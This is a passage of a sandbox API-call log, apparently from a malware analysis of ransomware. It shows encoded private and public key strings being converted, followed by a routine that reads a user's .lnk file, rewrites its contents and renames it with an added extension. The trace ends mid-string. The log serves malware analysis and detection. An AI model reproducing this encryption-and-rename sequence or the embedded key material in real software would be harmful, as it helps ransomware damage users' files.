lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.433] GetCurrentThreadId () returned 0xa30 [0079.433] GetCurrentThreadId () returned 0xa30 [0079.433] GetCurrentThreadId () returned 0xa30 [0079.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.434] GetCurrentThreadId () returned 0xa30 [0079.434] GetCurrentThreadId () returned 0xa30 [0079.434] GetCurrentThreadId () returned 0xa30 [0079.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.435] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.435] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.435] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xee8 [0079.435] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.435] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xee8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xee8, lpOverlapped=0x0) returned 1 [0079.437] CloseHandle (hObject=0x124) returned 1 [0079.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.439] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xee8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xee8, lpOverlapped=0x0) returned 1 [0079.441] CloseHandle (hObject=0x124) returned 1 [0079.442] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4eQFtgvX0bY.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\4eqftgvx0by.lnk.zv7un")) returned 1 [0079.443] GetCurrentThreadId () returned 0xa30 [0079.443] GetCurrentThreadId () returned 0xa30 [0079.444] GetCurrentThreadId () returned 0xa30 [0079.444] GetCurrentThreadId () returned 0xa30 [0079.444] GetCurrentThreadId () returned 0xa30 [0079.444] GetCurrentThreadId () returned 0xa30 [0079.444] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7f5800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x206a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="5DJG.lnk", cAlternateFileName="")) returned 1 [0079.444] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.444] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d7f5800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x206a)) returned 1 [0079.444] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\5djg.lnk")) returned 0x20 [0079.444] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DJG.lnk", dwFileAttributes=0x80) returned 1 [0079.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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